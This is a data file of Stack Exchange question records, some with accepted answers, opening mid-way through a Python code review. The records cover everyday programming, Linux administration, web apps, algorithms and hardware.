exceptions = job.exception()        if exceptions is not None:            return        results = job.result()        return self.splitter(points, results)class Job(Future):    def __init__(self, solver, points):        self.points = points        self.futures = tuple(map(solver, points))    def __hash__(self):        return hash(self.points)    def cancel(self):        return all(f.cancel() for f in self.futures)    def cancelled(self):        return all(f.cancelled() for f in self.futures)    def running(self):        return any(f.running() for f in self.futures)    def done(self):        return all(f.done() for f in self.futures)    def result(self, timeout=None):        return tuple(f.result(timeout) for f in self.futures)    def exception(self, timeout=None):        exceptions = (f.exception(timeout) for f in self.futures)        exceptions = tuple(e for e in exceptions if e is not None)        if len(exceptions) < 1:            return None        return exceptionssolver.pyfrom collections import ChainMapfrom concurrent.futures import as_completedfrom bidict import bidictclass Solver(object):    def __init__(self, executor, func):        self.fresh    = bidict()        self.done     = dict()        self.cache    = ChainMap(self.fresh, self.done)        self.func     = func        self.executor = executor    def __call__(self, args):        if args not in self.cache:            self.fresh[args] = self.executor.submit(self.func, *args)        return self.cache[args]    def __iter__(self):        return self    def __next__(self):        if not self.fresh:            raise StopIteration        future = as_completed(self.fresh.values())        future = next(iter(future))        args   = self.fresh.inv[future]        self.done[args] = self.fresh.pop(args)        return args, futureinitializer.pyfrom itertools import chain, tee, productfrom statistics import meandef pairwise(iterable):    a, b = tee(iterable)    next(b)    yield from zip(a, b)def selection(seq):    for i, x in enumerate(seq):        yield i, x, seq[:i] + seq[i+1:]def iappend(iterable, x):    return chain(iterable, [x])class RecursiveBoundaryCentreInitializer(object):        Given cuts for n dimensions, generate polygon with n+1 points,    each containing two point on the boundary, one point on the centre    of the sides, one point on the centre of the volumes, etc...        @classmethod    def __call__(cls, iterables):        xs = list(map(tuple, iterables))        return cls.reduce(xs)    @classmethod    def reduce(cls, xs):        if len(xs) <= 1:            yield from pairwise((x,) for x in xs[0])            return        c = tuple(map(mean, xs))        for i, y, zs in selection(xs):            for j, z in product(y, cls.reduce(zs)):                t = tuple(p[:i] + (j,) + p[i:] for p in z)                yield tuple(iappend(t, c))def example():    initializer = RecursiveBoundaryCentreInitializer()    for points in initializer([range(2), range(2), range(2)]):        print(points)if __name__ == '__main__':    example()splitter.pyfrom itertools import combinations, repeatfrom statistics import meanfrom numpy.linalg import matrix_rankfrom numpy import arrayclass LargestDisputeLineSplitter(object):        Given polygon with n+1 points in n dimensions,    Split the polygon at the side with largest diff. result,    Check the splitted polygon for closeness and collinearity.        def __init__(self, tol):        self.tol = tol    def __call__(self, points, results):        pairs = combinations(zip(points, results), 2)        pairs = ((abs(r0 - r1), (p0, p1)) for (p0, r0), (p1, r1) in pairs)        diff, pairs = max(pairs)        if diff < self.tol:            return ()        mid  = tuple(map(mean, zip(*pairs)))        old  = tuple(p for p in points if p not in pairs)        news = zip(pairs, repeat(mid))        groups = (old + new for new in news)        groups = map(list, groups)        groups = map(self.remove_close, groups)        groups = map(self.remove_colinear, groups)        groups = (points for points in groups if len(points) > 1)        groups = map(tuple, groups)        return tuple(groups)    def remove_close(self, points):        while True:            for x, y in combinations(points, 2):                if any(abs(i-j) > self.tol for i, j in zip(x, y)):                    continue                points.remove(y)                break            else:                return points    def remove_colinear(self, points):        while True:            for three in combinations(points, 3):                T  = array(three)                T -= T[0, :]                if matrix_rank(T, self.tol) > 1:                    continue                mid = sorted(three)[1]                points.remove(mid)                break            else:                return points"  , "title": "Adaptive scan of function concurrently"  , "tags": "python;multithreading;python 3.x;multiprocessing"  } 
{  "id": "_unix.66915"  , "question": "I compiled the mod rewrite for apache (version 1.3.0) however, when I try to run the server I have this error about mod_rewrite:Syntax error on line 27 of /home/myuser/apache/etc/httpd.conf:Cannot load /home/myuser/apache/libexec/mod_rewrite.so into server: /home/myuser/apache/libexec/mod_rewrite.so: undefined symbol: lstat./sbin/apachectl start: httpd could not be startedA similar problem is here https://bugzilla.redhat.com/show_bug.cgi?id=101837 but the solution provided does not help me...I get an error after __THROW, the classic missing , ; before { and, removing the THROW clause leads me to an lstat already defined here (pointing at sys/stat.h header).Can you help me?"  , "title": "mod_rewrite: undefined symbol: lstat error"  , "tags": "apache httpd;libraries;c"  } 
{  "id": "_webapps.80538"  , "question": "I have a business conversation going on and I'm trying to find a particular message I'm sure was part of it.  Let's say it includes the term widget.  But the problem is there were (for example) 3 messages with that term.  Now by itself that would be fine, I'd search for that term and see three results and read them and find the one I want.  But the problem is that one of those messages had a very long back-and-forth so there's a long re: history and that term is repeated each and every time.  So when I search I get 590 matches instead of 3.I want to search without including all the quoted replies. So that only the typed messages is included in the search.Possible?"  , "title": "Searching Gmail messages while excluding the reply history?"  , "tags": "gmail;gmail search"  } 
{  "id": "_webapps.39923"  , "question": "If someone doesn't show his/her friends in Facebook, would that person appear in another friend's list?I mean, I want to hide my friend list. I don't want to be related in terms of Facebook friendship with anyone. If I hide the list, would I appear in my friend's friend list when a stranger looks at it?I am referring to hiding the list from strangers (people who aren't my friends on Facebook)."  , "title": "If someone doesn't show his/her friends in Facebook, will that person appear in another friend's list?"  , "tags": "facebook;friends;friend list"  , "accepted_answer": "Yes you will be visible on your friends-friend list. AFAIK there is no way to disable this unless your friend too hides his/her friends list."  } 
{  "id": "_softwareengineering.233464"  , "question": "Recently, I've stumbled across question about predicting the output of code which heavily uses post/pre increment operators on integers. I am experienced C programmer, so I felt like at home, but people made statements that Java just blindly copied that from C (or C++), and that this is an useless feature in Java.That being said, I am not able to find good reason for that (especially with keeping in mind the difference betwen post/pre forms) in Java (or C#), because it's not like you will manipulate arrays and use them as strings in Java. Also, it was long ago when I last looked into bytecode, so I don't know if there's a INC operation, but I don't see any reason why thisfor(int i = 0; i < n; i += 1)could be less effective thanfor(int i = 0; i < n; i++)Is there any particular part of the language where this is really useful, or is this just a feature to bring C programmers in town?"  , "title": "Reason for (post/pre) increment operator in Java or C#"  , "tags": "java;c#"  , "accepted_answer": "is this just a feature to bring C programmers in townIt is surely a feature to bring C (or C++) programmers in town, but using the word just here underestimates the value of such a similarity. it makes code (or at least code snippets) easier to port from C (or C++) to Java or C#i++ is less to type than i += 1, and x[i++]=0; is much more idiomatic than x[i]=0;i+=1;And yes, code which heavily uses post/pre increment operators maybe hard to read and maintain, but for any code where these operators are misused, I would not expect a drastic increase in code quality even when the language would not provide these operators. That's because if you have devs which don't care for maintainability, they will always find ways to write hard-to-understand code. Related: Is there any difference between the Java and C++ operators? From this answer one can deduce that any well-defined operator behaviour in C is similar in Java, and Java does only add some definitions for operator precedence where C has undefined behaviour. This does not look like coincidence, it seems to be pretty intentional."  } 
{  "id": "_unix.132341"  , "question": "I have 2 file, a.txt and b.txt and I want to compare them.a.txt contains:abcjkl < jklmno > mnopqr <> pqrb.txt contains:abcjkl < jklmno > mnopqr <> pqrsstuI'm using this script:$ diff a.txt b.txt | grep >  | cut -c3- > c.txtWhich results in c.txt:pqr <> pqrpqr <> pqrsstuWhy is pqr <> pqr being included in the results? How can I resolve this?"  , "title": "Diff not working as I expect"  , "tags": "shell script;diff"  } 
{  "id": "_unix.122011"  , "question": "I'm endeavoring to put Kali linux onto a USB stick - I know it's already written up, but I'd like to use only a portion of the total space (the aforementioned link will use the entire drive space).Let's have my 16GB usb stick mounted as sdb ... the goal is:16 GB total, split like this...----------------------------|     11     |  01  |  04  |   (GB)----------------------------     sdb1      sdb2   sdb3     (partition ID)     FAT32     FAT32  FAT32    (format)    storage   fatdog  kalipart (label)sdb1 is FAT32 and the main storage area (so that [windows can see it][2] along with any other OSes)sdb2 is bootable and has Fatdog64 (6.3.0) and Precise Puppy (5.7.1) installed (multi-booting from one syslinux menu)sdb3 is the target partition for Kali to useThe objective is to multi-boot Fatdog64, Puppy, and Kali linux. Currently, sdb2 is bootable (syslinux) and successfully passes to Fatdog and Puppy, both on sdb2. Next I'd like to add chainloading to Kali on sdb3. It seems to me that the best way to do that is to load GRUB4DOS from syslinux (both on sdb2), map sdb3 and chainload to sdb3 from GRUB4DOS.So I ask: How do I install Kali onto an existing partition on this USB stick?Other options:  Install live Kali onto the USB stick/partition from the Kali distro itself - but this doesn't seem to be an option the same way it is with Fatdog/Puppy/UbuntuBoot direclty to sdb3, chainloading to sdb2 if necessary (not preferred, but an option)Update:I have tried copying the files from a mounted iso to sdb3 using Fatdog64 and noticed several errors, mostly in copying the firmware files. Here's two examples:Copying /mnt/+mnt+sda1+isos+kali-linux-1+0+6-i286+kali-linux-1+0+6-i286+iso/firmware/amd64/microcode_1.20120910-2_i386.deb as /mnt/sda3/firmware/amd64-microcode_1.20120910-2_i286.debERROR: Operation not permittedCopying /mnt/+mnt+sda1+isos+kali-linux-1+0+6-i286+kali-linux-1+0+6-i286+iso/debian as /mnt/sda3/debianERROR: Operation not permittedThese errors look like permissions errors, but I can't tell if they affect booting or not (I can troubleshoot other errors later, I'd prefer to keep this question to just multi-boot).I'm chainloading GRUB4DOS from the SYSLINUX installed by default via Fatdog64 ...label grub4dosmenu label grub4dosboot /boot/grub/grldrtext helpLoad grub4dos via grldr (in /boot/grub)endtext... and then once in GRUB4DOS, I have successfully chainloaded GRUB2 (on the kali partition) ...title Load GRUB2 inside of kalifind --set-root /g2ldr.mbrchainloader /g2ldr.mbr... but all this gives me is a grub> prompt, and I haven't figured out any proper combinations of GRUB4DOS commands to load GRUB2 with a GRUB2 config file - and to add to the confusion, I thought the live CD iso of Kali ran on syslinux. (@jasonwryan @user63921)"  , "title": "How to install Kali linux on to a specific (existing) partition on a USB stick"  , "tags": "partition;grub2;usb drive;live usb;kali linux"  } 
{  "id": "_webapps.31374"  , "question": "In which country, or countries, are servers running Trello located? Because of the laws in Canada regulating public institutions, we are not allowed to store certain kinds of information if the servers are in the USA. A solution would be to run this nice tool on our own servers, but I just read that this is not an option."  , "title": "Where are the Trello servers located?"  , "tags": "trello;legal"  , "accepted_answer": "The Trello servers (including the databases) are hosted on Amazon Web Services (EC2, in the United States)The Trello javascript/CSS are hosted on amazon cloudfront (with edge nodes around the world)Attachments that are uploaded to Trello are stored on Amazon S3, but in a US region.Google Drive/Docs attachments that are attached to Trello cards are (of course) hosted wherever Google stores its files."  } 
{  "id": "_softwareengineering.56215"  , "question": "In C, you cannot have the function definition/implementation inside the header file. However, in C++ you can have full method implementation inside the header file. Why is the behaviour different?"  , "title": "Why can you have the method definition inside the header file in C++ when in C you cannot?"  , "tags": "c++;c;headers"  , "accepted_answer": "In C, if you define a function in a header file, then that function will appear in each module that is compiled that includes that header file, and a public symbol will be exported for the function. So if function additup is defined in header.h, and foo.c and bar.c both include header.h, then foo.o and bar.o will both include copies of additup.When you go to link those two object files together, the linker will see that the symbol additup is defined more than once, and won't allow it.If you declare the function to be static, then no symbol will be exported. The object files foo.o and bar.o will still both contain separate copies of the code for the function, and they will be able to use them, but the linker won't be able to see any copy of the function, so it won't complain. Of course, no other module will be able to see the function, either. And your program will be bloated up with two identical copies of the same function.If you only declare the function in the header file, but do not define it, and then define it in just one module, then the linker will see one copy of the function, and every module in your program will be able to see it and use it. And your compiled program will contain just one copy of the function.So, you can have the function definition in the header file in C, it's just bad style, bad form, and an all-around bad idea.(By declare, I mean provide a function prototype without a body; by define I mean provide the actual code of the function body; this is standard C terminology.)"  } 
{  "id": "_codereview.120427"  , "question": "I recently built a Docker image for Composer. I'd love to get a review of the image, the Bash based wrapper script, its recommended use, and the repository structure.Here's the Dockerfile for the latest tag:FROM alpine:edgeMAINTAINER Samuel Parkinson <sam@graze.com>RUN echo http://dl-4.alpinelinux.org/alpine/edge/testing >> /etc/apk/repositories && \\    apk add --no-cache \\    ca-certificates \\    git \\    mercurial \\    subversion \\    php7 \\    php7-curl \\    php7-json \\    php7-openssl \\    php7-phar \\    php7-posixRUN /usr/bin/php7 -r readfile('https://getcomposer.org/installer'); | \\    /usr/bin/php7 -- --install-dir=/usr/local/bin --filename=composerCOPY ./composer-wrapper /usr/local/bin/composer-wrapperVOLUME [/usr/src/app, /root/.composer]WORKDIR /usr/src/appENTRYPOINT [/usr/local/bin/composer-wrapper]The wrapper script, which adds the --ignore-platform-reqs flag for supported commands, so that users don't have to do it themselves as the image doesn't contain many of the common php extensions library's require:#!/bin/sh# Loop over each argument.for argument in $@; do    case $argument in        # Append the argument if the command matches one we need to use `--ignore-platform-reqs` with.        # Found using the following search: https://github.com/composer/composer/search?q=ignore-platform-reqs+path%3Asrc%2FComposer%2FCommand%2F        # Uses `set` to update the arguments, see https://www.gnu.org/software/bash/manual/html_node/The-Set-Builtin.html.        create-project|install|remove|require|update) set -- --ignore-platform-reqs $@;;        # Otherwise just pass it on.        *) ;;    esacdone# Call composer with the updated arguments.exec /usr/bin/php7 /usr/local/bin/composer $@The recommended way to use the image, mounting the source and composer user folder, and read only mounting the users ssh key for use when using git based dependencies:docker run --rm -it \\    -v $(pwd):/usr/src/app \\    -v ~/.composer:/root/.composer \\    -v ~/.ssh:/root/.ssh:ro \\    graze/composerAnd finally the repository itself (which includes tests of the image!):https://github.com/graze/docker-composerI'm no expert at bash, and pretty new to Docker too so I'd love to know if there's anything I'm missing, or anything I'm doing that's unconventional."  , "title": "A Dockerfile for Composer (a dependency manager for PHP)"  , "tags": "php;bash;dockerfile"  } 
{  "id": "_unix.349203"  , "question": "Is it possible to allow OCSP requests using for example iptables or Squid? I'm doing an experiment where I reject insecure outgoing HTTP requests, but OCSP is of course a valid exception since the response is validated by the browser. Or is there at least some way to identify OCSP HTTP requests uniquely so as to write a custom filter for it?"  , "title": "How to allow OCSP but disallow all other outgoing HTTP requests?"  , "tags": "arch linux;iptables;proxy;http;squid"  } 
{  "id": "_softwareengineering.191914"  , "question": "I have created web services before that are used by a small number of users but have a new project that would have lots of users.For each user that uses the services, this is what they would do:1) Call a method on the web service that calculates a price based on parameters passed by the user.2) The actual method and algorithm for calculating and returning a price is not very complicated and runtime would be very quick, although a look up in a database table would be necessary for each call.3) The problem is that this method could be called over and over again for each item that needs a price, and if lots of users are using the web service (I don't know an exact number, lets say 1,000 users, 10,000 users, whatever), I don't know what different things I need to think about in terms of how to manage high traffic, many different users trying to use the method at the same time over and over again, pulling data from a table over and over again.So pretty much I would like some advice from someone who has experience with web services with high amounts of traffic and many different users, with the method pulling from a data base table over and over again, to explain to me steps/thing I need to think about when designing the service to avoid traffic congestion, at what point a certain number of users would start slowing the service down,or just things to think/worry about, etc.Appreciate any help, thanks!"  , "title": "How do I create a web service with high amounts of traffic that works effectively with lots of different users?"  , "tags": "database;web services;wcf;performance;high performance"  , "accepted_answer": "For item 2, you could definately use a cache to avoid going to the DB for every call, especially if the lookup data is not that volatile.  The lifetime of the cache will depends on how long you keep the data.  The cache could be refreshed as needed by your requirements.  As a side note, most DBs cache results of common queries anyway.Every service has limits.  I would performance test the service to see how many calls it can handle.  Definately build it stateless, then it is just a matter of how many calls a sec it needs to service.  Say your requirements are 1,000 calls per second and your performance is 400 calls for 1 server.  Then you need 3 servers to meet your requirements.  Should be no problemto implement that sort of infrastructure.You will not know for sure your service throughput  until it is performance tested.  Once you have baseline numbers, you can tweak the code or the environment to improve performance as needed. "  } 
{  "id": "_unix.353715"  , "question": "I'm trying to extend my root partition with the unallocated space but it seems like the unallocated space didn't exist. When I reinstalled the system I had two different Free Spaces, one with 32GB and other with 19GB but wasn't able to fix them in the same partition.I've tried with the solutions in other posts with no result... "  , "title": "Can't extend root partition with unallocated space"  , "tags": "debian;root;ext4;gparted"  , "accepted_answer": "Seems like you're running gparted from your Linux-distro, and that means that some of you're partitions - including your root-partition - are in use (that's what that icon looking like a numerical keypad or whatever means).  You can't move or resize a partition your actually actively using (which you here are).Try running gparted from a live-DVD.  It may use your swap-partition, but should leave the root-partition alone.  When it's not in active use, you should be able to resize it into your free-space (will probably take a long while, since stuff will have to be moved too).(Could add that the mother-program - parted - may be a bit less restrictive than gparted... but then again, the interface is more difficult and it's easier to make a mistake.) "  } 
{  "id": "_webapps.15344"  , "question": "I'm trying to generate some simple plots of shapes on the coordinate plane using Wolfram Alpha.  I've had success with plotting the shape, but sometimes the plot output doesn't look nice.  For example, the following plots the vertices of a rhombus on the coordinate plane:Plot {(-5,3), (-1,0), (-1,-5), (-5,-2) (-5,3)}However, the plot is distorted becausethe y-axis is shown at x = -5; andthe scale for the x-axis doesn't match the scale for the y-axis.As a result, my rhombus doesn't look like a rhombus.  Is there a way to control what portion of the coordinate plane Alpha plots on?  I've tried addingon x:[-8,8] y:[-8,8]at different points in the command, but that won't work.  Anyone know the secret?"  , "title": "Can a user control the scale of plots in Wolfram Alpha?"  , "tags": "wolfram alpha"  , "accepted_answer": "No I've tried various combinations, the only thing I can come up with is find edges in Plot{(-5,3) (-1,0) (-1,-5) (-5,-2)}, x and the image output is horrible. Sorry."  } 
{  "id": "_codereview.87486"  , "question": "An object (POJO) holds query arguments and has two-binding to a form using some MVC framework. later the object needs to be converted to a query string that will be appended to an HTTP request.function objectToQueryString(obj) {        return Object.keys(obj)            .filter(key => obj[key] !== '' && obj[key] !== null)            .map((key, index) => {            var startWith = index === 0 ? '?' : '&';            return startWith + key + '=' + obj[key]        }).join('');    }Any pitfalls?  IE9+ is what we support.Example input:{isExpensive:true, maxDistance:1000,ownerName:'Cindy',comment:''}And its expected output:?isExpensive=true&maxDistance=1000&ownerName=cindy"  , "title": "Object to query string"  , "tags": "javascript;url"  , "accepted_answer": "You have neglected to escape your keys and values. If any of the data contains a special character such as &, the generated URL will be wrong.To perform the escaping, I recommend calling encodeURIComponent()."  } 
{  "id": "_unix.79191"  , "question": "If I use vim,put the cursor on the beginning of a line, and then input    3>> or 3<<I can left or right shift 3 lines by 8 columns If I just want to shift 4 columns, what should I do?"  , "title": "How to right or left shift a block of text by a specific number of columns?"  , "tags": "vim"  , "accepted_answer": ":set shiftwidth=4and then use 3>> as normal"  } 
{  "id": "_unix.174202"  , "question": "I have a debian 7 server hosted by Google Cloud running a game server and a rails server.The rails server run on port 80 and the game server on port 8000.I want to apply a network rule that allow the game server packets to have a higher priority in order to minimize latency.For now, I found that iptables could help me with this :iptables -A PREROUTING -t mangle -p tcp --dport 8000:8010 -j TOS --set-tos Minimize-DelayBut when I check if my rule has been added :iptables -L -vt natChain PREROUTING (policy ACCEPT 877 packets, 100K bytes) pkts bytes target     prot opt in     out     source               destinationChain INPUT (policy ACCEPT 877 packets, 100K bytes) pkts bytes target     prot opt in     out     source               destinationChain OUTPUT (policy ACCEPT 329 packets, 20395 bytes) pkts bytes target     prot opt in     out     source               destinationChain POSTROUTING (policy ACCEPT 329 packets, 20395 bytes) pkts bytes target     prot opt in     out     source               destinationI'm not seeing my rule. What I'm doing wrong ? And also, is this the right way to do what I want ?"  , "title": "Minimize game server delay with iptables"  , "tags": "iptables;delay"  } 
{  "id": "_unix.334237"  , "question": "I know vi well.  I would really like to use it when I'm piping around on the command line.Is there an easy way to pipe the stdout of a process into a headless version of vi kind of thing and then to stdout?Something like this:$ uname -a | <headless_vi> 3f DLinux robbie 4.8.13-1-ARCH"  , "title": "piping through a headless vi-style editor"  , "tags": "pipe;vi"  } 
{  "id": "_webmaster.82853"  , "question": "How can you get homepage to show instead of random pages? Is there a special meta tag or something?"  , "title": "How to make homepage show in google instead of other pages?"  , "tags": "seo"  , "accepted_answer": "I did a search as you specified and I get your home page as #1. However, if you do not, this is not a problem and therefore there is noting to fix. Going beyond that, you will not be able to exercise control over how Google decides to present search results short of some level of SEO which never guarantees any result.Here is what is wrong with your search:Without using the site: annotation before the domain, Google will return pages in the order of importance as Google sees it including pages from other sites. Just using the domain name without the site: annotation opens the search up to any result that ranks for the domain name. However, using the site: annotation limits the results to the domain only. In this case, the home page is often the first page, however, this is not always the case and should not be taken as an indicator of a problem."  } 
{  "id": "_cs.25804"  , "question": "I want to understand the expected running time and the worse-case expected running time.I got confused when I saw this figure (source),where $I$ is the input and $S$ is the sequence of random numbers.What I don't understand from the above equation is why the expected running time is given for one particular input $I$?I always thought that for a problem $\\pi$,  $E(\\pi) = \\sum_{input \\in Inputs}(Pr(input)*T(input))$ , isn't this correct?So, let's assume Pr(x) is the uniform distribution, and we are to find the expected running time of the problem of searching an element in a $n$ element array using linear search.Isn't the expected running time for linear search, $$E(LinearSearch) = \\frac{1}{n}\\sum_1^ni $$And what about the worst case expected running time, isn't it the time complexity of having the worst behavior? Like the figure below,I would highly appreciate if someone can help me understand the two figures above.Thank you in advance."  , "title": "Understanding Expected Running Time of Randomized Algorithms"  , "tags": "algorithms;time complexity;probability theory;randomized algorithms;average case"  , "accepted_answer": "There are two notions of expected running time here. Given a randomized algorithm, its running time depends on the random coin tosses. The expected running time is the expectation of the running time with respect to the coin tosses. This quantity depends on the input. For example, quicksort with a random pivot has expected running time $\\Theta(n\\log n)$. This quantity depends on the length of the input $n$.Given either a randomized or a deterministic algorithm, one can also talk about its expected running time on a random input from some fixed distribution. For example, deterministic quicksort (with a fixed pivot) has expected running time $\\Theta(n\\log n)$ on a randomly distributed input of length $n$. This is known as average-case analysis. Your example of linear search fits this category.A related concept is smoothed analysis, in which we are interested in the expected running time of an algorithm in the neighborhood of a particular input. For example, while the simplex algorithm has exponential running time on some inputs, in the vicinity of each input it runs in polynomial time in expectation."  } 
{  "id": "_scicomp.21021"  , "question": "Let $A\\in \\mathbb{R}^{n\\times n}$ symmetric and positive semidefinite, and $\\omega\\in \\mathbb{R}\\setminus\\{0\\}$.  I am interested in solving the following linear system for a range of values of $\\omega$:$$((A-\\omega^2 I)(A-\\omega^2 I)+\\omega^2 I)x = b.$$ It may be useful to note that the matrix factors as $$(A-(\\omega^2-i\\omega)I)(A-(\\omega^2+i\\omega)I), $$where $i^2 = -1$.Details:$A$ is sparse and I won't have direct access to its entries. The dimension of the null space of $A$ is a non-negligible fraction of $n$.  The dimension of the problem, $n$, will be as big as the computer's RAM will allow.What is a good way to solve preprocess / precondition this system?  Note that the RHS, $b$, will change when $\\omega$ changes.Notes:  This is a follow up question to this one.  The idea of the proposed solution to that question shows that if we could perform an complete eigendecomposition on $A$, we would have a pretty much ideal preprocess.  I have implemented an Lansczos iteration to approximate this eigendecomposition but it doesn't perform as well as I had hoped.  I can explain this idea in more detail as an addendum if there is interest.Of course full answers are appreciated, but they are not expected.  I am mainly looking for ideas to investigate.  Any comments and pointers to the literature are much appreciated.Note to mods: Is this kind of question acceptable?  I can change it to something more definite if asking for ideas is unacceptable.EditThis is what I plan on doing.  First note that as $\\omega\\to \\infty$ the matrix starts looking like $I(\\omega^4+\\omega^2)$, so we are mainly interested in when $\\omega$ is comparable to the norm of $A$ and smaller.To that end, we compute $r$ eigen-pairs of $A$, $(\\lambda_i,q_i)\\in \\mathbb{R}\\times \\mathbb{R}^{n\\times n}$, with the largest eigenvalues.  Then, since these eigenvectors can be made to be orthonormal we have$$x= \\sum_{i=1}^r \\alpha_i q_i + \\sum_{i={r+1}}^n \\alpha_i q_i.$$Now, taking the dot product of both side of the equation with $q_i$ for $1\\le i\\le r$ we get$$\\alpha_i = \\left\\langle q_i,b \\right\\rangle \\frac{1}{(\\lambda_i - \\omega^2)(\\lambda_i - \\omega^2) + \\omega^2}.$$I plan on using this information to construct an initial guess for $x$.  I am still unsure on what preconditioner to use.  "  , "title": "What are some ideas to preprocess / precondition the following linear system?"  , "tags": "linear algebra;linear solver;eigensystem"  } 
{  "id": "_unix.165207"  , "question": "I'm noticing an error: bash: syntax error near unexpected token `-105.5*7+50*3'When executing the below script/expression:expr (-105.5*7+50*3)/20 + (19^2)/7 | bc -lIs there any other way to evaluate such mathematical/floating point operations?EDIT #1NOTE: echo in place of expr does resolve this however I've used expr with bc before and it has handled floats quite normally why not in this scenario is what I'd like to find out now."  , "title": "Why isn't this `expr ... | bc -l` command working?"  , "tags": "bash;shell;quoting;bc"  } 
{  "id": "_unix.67468"  , "question": "I want to create a bind that executes g++ !$ in the same way that the shell would interpret it if I just typed it.I tried:bind '\\ee: g++ !$', but it doesn't execute command (justpastes it)bind -x '\\ee: g++ !$', but it doesn't interpretthe !$ part correctlyAny way to overcome it without using some custom shell scripts?"  , "title": "Bind to execute command with last argument of previous command"  , "tags": "bash;keyboard shortcuts"  , "accepted_answer": "bind '\\ee: g++ !$' does exactly what you wrote, which is to insert g++ !$ on the command line. If you want the command to be executed, you need to press Enter.bind '\\ee: g++ !$\\r'"  } 
{  "id": "_unix.188345"  , "question": "Whenever I boot OpenSUSE, The KDE splash screen appears, which is normal. What is not normal, however, is that it never disappears again ! The previous session's windows just appear. KDE is functioning absolutely normal, but this is really annoying, because I can't use the taskbar and I have to use Alt+F2 whenever I want to launch anything. This also makes me lose desktop features, like folders, wallpapers, the clock and themes.I am using KDE 5.What can I do to:Make KDE start a new session every time, not just continue the previous one.Make the splash screen disappear so that I can get my desktop again.Thanks, in advance."  , "title": "KDE Splash Screen doesn't disappear"  , "tags": "linux;kde;opensuse;desktop;desktop environment"  } 
{  "id": "_cs.55434"  , "question": "I'm implementing the ID3 algorithm (Iterative Dichotomiser 3). I have an attribute which happens to be continuous like 12.21, 3.01, etc. AND have missing values which are marked as NA.How I'm discretizing the data: I'm finding the optimal split which results in the max information gain. How I'm dealing with missing values: I will use the most probable attribute value to replace the ?.Of course I can do either process in both ways, and this is where my confusion arises. Is there a correct way in handling this?"  , "title": "How to handle missing continuous attribute values in ID3 (Iterative Dichotomiser 3)?"  , "tags": "machine learning"  , "accepted_answer": "I would like to propose paper about ID3 and it's successors, generally about Decision Tree Algorithms.  Using Mean, Median, Mode etc. is very tempting and it works to some degree, but of course the outcome depends on values inserted to missing (NA) data.  Mean has nice property in many statistics that it just acts like missing value, but increases weight of other ones (since it changes nothing, other values are counted with +1/N weight).But in decision trees the effect is bigger, changing the classifier, so there is one big idea - apply all possible missing values :-/.  There are also three easier techniques:  apply mean and do not care  reconstruct data to fit classifier better (very often trial and error, but due to discretization of continous data, only values that differ by multiplicity of $\\epsilon$ are to be checked)  try to reconstruct dataThe last one should yield the best results, but it is not always possible, and still these are not exact values.If you can predict the most probable value and replace missing ones - this is the best way to do it.  "  } 
{  "id": "_cogsci.12958"  , "question": "Most of the Defense Mechanisms are unconscious, but for those who know about them and still use then it somehow becomes conscious. They know they are using it, and not do anything about it. For example when one loses trust in everyone around them, but they tell everyone who understands about their secret or something that shouldn't be shared easily; Reaction Formation, yes.So, when, let's say, someone has mood swings, they cry when a bit depressed or even just sad, and laugh like there's no tomorrow when they're happy, even if it's the moment right after their cry, or just shout out loud because they are angry while they are generally a calm person. They simply let it all sink in and accept everything that comes, without doing anything about it, even though they know they should, and they know where the wrong is. So can't it be set as one?"  , "title": "Can acceptance become a Defense Mechanism?"  , "tags": "cognitive psychology;consciousness;depression;unconscious"  } 
{  "id": "_hardwarecs.1292"  , "question": "I'm building a new PC but I'm stuck at one thing. What CPU should I choose if what I do mostly is programming & gaming?I saw opinions here and there saying Intel's CPUs would be good, others saying AMDs, but none seemed to give me a clear answer.The 2 options I would have are Intel Skylake, Core i5 6400 2.70GHz & AMD Vishera, FX-8350 4.0GHz.I'm open to any other recommendations, preferably good price/value ratio."  , "title": "CPU recommendation: Programming + Gaming"  , "tags": "processor"  , "accepted_answer": "I'd recommend Intel, they're really reliable, have low power consumption and future-proof if you're into keeping your rig for more than 3-4 years.AMD has a good performance/price ratio, but are more risky, heat issues and useless cores for marketing.Pros/ConsFor gaming just rely on a good GPU, the CPU bottle neck is pretty much a myth if you have an i5 2500 or better.You'd get better performance with a 4th gen Intel CPU and a better GPU. Keep that in mind."  } 
{  "id": "_codereview.126899"  , "question": "I have started learning recursion and search algorithms, especially DFS and BFS. In this program, I have tried to make an implementation of a maze-solving algorithm using DFS. The program is working functionally, but as a beginner I am fully aware there are many possible areas of improvement.If not in a specific way, what are some of the more general and possibly theoretical criticisms of my program? Keep in mind that the current product is based on an elementary understanding of C++ and search algorithms.I have a Graph class for loading in the maze from an external text file:#include <fstream>     //ifstream#include <iostream>     //standard c output modes#include <iomanip>     //setprecision()#include <vector>     //vectors, including 2-dimensional#include <cstdlib>     //system(cls) to clear console#include <stack>     //stacks#include <math.h>     //sqrt()#include <ctime>     //clock in DelayFrame()#include Cell.h      //Class for individual unit cells of mazeclass Graph{    public:        Graph();        virtual ~Graph();        void LoadGraph(const std::string &fileName);        void DisplayGraph();        void DFS(int r, int c);        void DelayFrame(clock_t millisec);    private:        int height;     //# of rows of maze        int width;     //# of columns of maze        int numPaths;     //# of possible path positions in maze        int pathDistance;     //Total distance of correct position sequence        char buffer;     //To store char elements from external text-file        const char obstacle, goal, path;     //Constant chars to represent elements of maze        double cellsVisited;     //# of cells visited; does not contain duplications of cells        std::vector <std::vector<Cell*> > maze;     //Stores maze        std::vector <Cell*> cells;     //Stores individual rows of maze to be allocated into maze 2-dimensional vector        std::stack <Cell*> cellSequence;     //Stack of cells to store sequence of positions in use};I have also implemented a Cell class for the individual cells in the maze:class Cell{    public:        Cell(int r, int c, char symbol);        virtual ~Cell();        int GetRow();        int GetColumn();        char GetChar();        void SetChar(char toReplace);        char GetCounter();        void IncrementCounter();    protected:        int r;      //Row of cell        int c;      //Column of cell        char symbol;        //Symbol of cell        int counter;        //Number of visits; initialized to be 1 in cell constructor};Here is the loading member function in the Graph class (I am wondering if I can detect a new line and skip the extraction without extracting first and then redoing it)://Loads in the maze from an external text-file//Gets # rows, # columns and all symbols for all elements in mazevoid Graph::LoadGraph(const std::string &fileName){  std::ifstream fileData(fileName.c_str());  //# rows  fileData >> height;  //# columns  fileData >> width;  //Don't skip blank spaces  fileData >> std::noskipws;  //Adds elements from external text-file to one row of the maze  for (int row = 0; row < height; row++)  {      for (int col = 0; col < width; col++)      {          fileData >> buffer;          //If there is a new line character, take the next character          if (buffer == '\\n')          {             fileData >> buffer;          }          cells.push_back(new Cell(row, col, buffer));          //If there is a new path position, increment the counter          if (buffer == path)          {              numPaths++;          }      }      //Pushes the row into a 2-dimensional vector      maze.push_back(cells);      cells.clear();  } 